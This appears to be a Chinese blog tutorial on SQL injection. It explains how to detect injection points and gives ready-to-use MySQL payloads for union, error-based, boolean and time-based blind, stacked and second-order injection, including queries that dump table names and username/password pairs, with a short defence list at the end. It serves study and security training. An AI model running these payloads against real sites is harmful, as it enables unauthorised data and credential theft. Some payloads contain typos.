🏘️个人主页: 点燃银河尽头的篝火(●’◡’●)
如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦
【web安全】SQL注入篇
- SQL注入漏洞基础
- SQL注入分类
- 判断注入点
- 1. 区分请求类型(get、post)
- 2. 判断是否存在注点
- 3. 区分注点(数值型、字符型)
- sql基本语句
- 注入方式
- 联合注入
- 报错注入
- updatexml()
- extractvalue()
- floor()
- 盲注
- 布尔盲注
- 时间盲注
- dnslog盲注
- 堆叠注入
- 二次注入
- 宽字节注入
- 伪静态注入
- 防御方案
SQL注入漏洞基础
漏洞描述
攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系统有特殊意义的符号或命令,让攻击
者有机会直接对后台数据库系统下达指令,进而实现对后台数据库乃至整个应用系统的入侵。
sql 注入原理
服务器没有过滤用户输入的恶意数据,直接把用户输入的数据当作sql语句执行,从而影响数据库安全和平台安全。
利用条件
1.程序员在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。
2.未对用户可控参数进行足够的过滤,便将参数内容拼接到SQL语句中。
mysql查询语句:
select ... from ... where ...=...
select group_concat(table_name)
group_concat()
函数用于将多行结果合并成一个字符串。
SQL注入分类
基本类型 | 基本手法 | 方式 | 注入点位置 |
---|---|---|---|
数字型 字符型 | 报错注入 联合查询 布尔盲注 延时注入 堆叠查询 | GET注入 POST注入 Cookie注入 HTTP头部注入 | URL注入 搜索框注入 留言板注入 登录框注入 |
判断注入点
1. 区分请求类型(get、post)
get 在url处进行注入
post 在有输入框进行交互的地方
2. 判断是否存在注点
添加动态参数 id = 1'
如果报错则存在注入点
不报错则证明不存在注入点或没有回显
3. 区分注点(数值型、字符型)
-
数值型
id=1 and 1=1 id=1 and i=2
若不报错则证明其不是数值型
-
字符型
id=1' and '1'='1 id=1' and '1'='2
若不报错则证明其不是字符型
第一个
'
作用是闭合
sql基本语句
-
判断列数
?id=1 order by 1 ?id=1 order by 2 ...
一直到报错没有显示为止
-
判断回显位(假设列数为3)
?id=1 and union select 1,2 -- - ?id=1 and union select 1,2,3 -- -
1,2,3为占位符
-
判断之前order by得到的列可不可以回显数据:
假如不能回显那就去使用盲注
假如我们发现显示了一个3,说明第三个会显示在页面上,我们就可以开始注入了。
注入方式
联合注入
必须前一条无法回显(错误)才能显示第二条
union联合查询
显示出登录用户和数据库名
union select 1,user(),database() -- -
查看数据库有哪些表
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -
查看对应表有哪些列
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
解释:从
information_schema
数据库的columns
表中查询security
数据库下users
表的所有列名。
查看账号密码信息
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -
0x7e
中,0x
代表16进制,7e
在ASCII码表中对应~
报错注入
无回显无法用sql注入,使用mysql报错函数(共12种)
若常规报错函数被ban掉,在官方手册找平替报错函数(越小众越好)如:polygon()
updatexml()
用于在xml中获取特定节点并更新其值
查询数据库名,例:
? id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
extractvalue()
查询数据库名,例:
? id=1 and extractvalue (1,concat(0x7e,(select database())))--+
floor()
用于mysql在xml中取整或确定下限(不常用)
'FLOOR(4.7)' 返回'4'
'FLOOR(-4.7)' 返回'-5'
floor报错原理:
利用数据库表主键不能重复的原理,使用GROUP BY分组,产生主键key冗余,导致报错
示例代码:
? id=1 and (select count(*),(floor(rand(0)*2)) as x from table_nam group by x)
盲注
页面中有布尔类型的状态,可以根据布尔类型状态,对数据库中的内容进行判断,可以通过写python脚本实现自动化
布尔盲注
-
判断数据库类型(MYSQL、access、SQLServer)
-
判断是否是MySQL数据库
and exists(select * from information_schema.tables) --+
-
判断是否是access数据库
and exists(select * from msysobjects) --+
-
判断是否是SQLServer数据库
and exists(select * from sysobjects) --+
-
-
判断数据库名长度length()
' and length(database())=8--+
8
为判断长度通过页面是否报错或正常显示来判断它的长
-
猜测数据库名
-
一位一位猜 left()
' and left(database(),3)>'sec' --+
'3’为位数,'sec’为猜的字符
-
用ascii码,二分法 substr()
ascii(substr((select database()),1,1))=115--+
SUBSTR函数:用于从一个字符串中提取子字符串。可以指定起始位置和长度
-
=
也可以替换成>
或like
,like
为模糊查询
时间盲注
-
sleep()函数
利用sleep( )语句的延时性,以时间线作为判断条件
' and sleep(5) --+ ' and if(1=1,sleep(5),1) --+ ' and if(ascii(substr(daatbase(),1,1))<100,sleep(5),null) --+
if为判断语句,判断’1=1’,如果成立执行’sleep(5),不成立执行’1’
-
WAITFOR DELAY’0:0:5’
dnslog盲注
堆叠注入
原理:
将多条sql注入语句堆叠在一起进行查询,且可以执行多条SQL语句,语句之间以分号(;)隔开,其注入攻击就是利用此特点,在第二条语句中构造payload
优势:
联合查询union也可拼接语句(有局限性),但是堆叠注入能注入任意语句
union执行一条语句,堆叠执行多条(需要分号)
局限:
利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,PHP为了防止sql注入机制,往往使用调用数据库的函数mysqli_query()函数,其只能执行一条语句,分号后面的内容将不会被执行
例:
1';creat table A2rcher like users;--+
可实现rce远程 命令/代码 执行
sqlmap自动注入
二次注入
-
将admin’#插入数据库 设密为:123456 第一次注入
更改admin’#的密码 654321 第二次注入
-
登陆admin发现密码被更改为654321
原理:1)用户向数据库插入的语句被转义和过滤的不够彻底(即使后端代码对语句进行了转义,如mysql_ escape_
(2)数据库直接取出数据,不对数据进行转义
宽字节注入
宽字节注入准确来说不是注入手法,而是一种比较特殊的情况,目的是绕过单双引号转义。
条件:宽字节编码,绕过限制
常见的宽字节概念包括以下几种情况:
1.宽字节字符集
在字符编码中,“宽字节”常指的是每个字符使用多个字节(通常是2字节或4字节)进行编码的字符集。这与“窄字节“字符集(如ASCII或UTF-8的单字节模式)相对。
窄字节:字符大小为一个字节
**宽字节:**字符大小为两个字节
3.宽字节编码比较
· UTF-8:“汉”的UTF-8编码是0xE6 0xB1 0x89(三个字节)。
· UTF-16:“汉”的UTF-16编码是0x6C49(两个字节)。
· UTF-32:"汉”的UTF-32编码是0x00006C49(四个字节)。
伪静态注入
静态页面:不会动,与用户没有交互的页面,
伪静态页面:中间件加载了伪静态插件代码其实不是真正的静态页面,一般用于政府和学校,显示html页面
防御方案
代码方面防护
各种函数过滤
防御脚本,用include函数含在web配置文件中
web防护
PDO预处理
waf防护
云端防护